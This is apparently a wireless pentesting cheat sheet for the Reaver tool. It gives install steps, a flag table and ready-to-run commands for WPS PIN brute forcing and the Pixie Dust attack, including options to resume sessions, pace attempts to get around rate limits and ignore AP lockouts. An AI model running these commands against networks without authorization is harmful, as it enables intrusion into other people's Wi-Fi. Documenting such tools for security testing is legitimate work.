Reaver

Overview

Reaver attacks WPS by brute forcing the 8-digit PIN. The PIN is verified in two 4-digit halves, reducing the keyspace to ~11,000 combinations. Also supports Pixie Dust for offline PIN recovery on vulnerable chipsets.

Install

sudo apt install reaver

Usage

reaver -i <interface> -b <BSSID> [options]

Flag	Description
`-i <iface>`	Monitor mode interface
`-b <BSSID>`	Target AP MAC address
`-c <channel>`	Target channel
`-K 1`	Enable Pixie Dust attack
`-s <file>`	Restore/resume a saved session (`--session`)
`-S`	Use small DH keys (`--dh-small`) — not session resume
`-v` / `-vv`	Verbose / extra verbose
`-d <sec>`	Delay between PIN attempts
`--lock-delay <sec>`	Wait after lockout detected
`--fail-wait <sec>`	Wait after consecutive failures
`-p <PIN>`	Try specific PIN
`-N`	Don’t send NACK packets
`-L`	Ignore AP lockouts

Pixie Dust Attack

sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -K 1 -vv

Exploits weak nonce generation. Recovers PIN offline in seconds on vulnerable chipsets.

PIN Brute Force

sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv

Resume Session

sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv -s /etc/reaver/<BSSID>.wpc

Session state saved in /etc/reaver/<BSSID>.wpc.

Tune for Rate Limiting

sudo reaver -i wlan0mon -b <BSSID> -c <CHANNEL> -vv \
  --delay=5 \
  --lock-delay=300 \
  --fail-wait=360

Setup

Tools

Connecting

Recon

Attacks

Rogue AP

Overview

Install

Usage

Pixie Dust Attack

PIN Brute Force

Resume Session

Tune for Rate Limiting

​Overview

​Install

​Usage

​Pixie Dust Attack

​PIN Brute Force

​Resume Session

​Tune for Rate Limiting

Overview

Install

Usage

Pixie Dust Attack

PIN Brute Force

Resume Session

Tune for Rate Limiting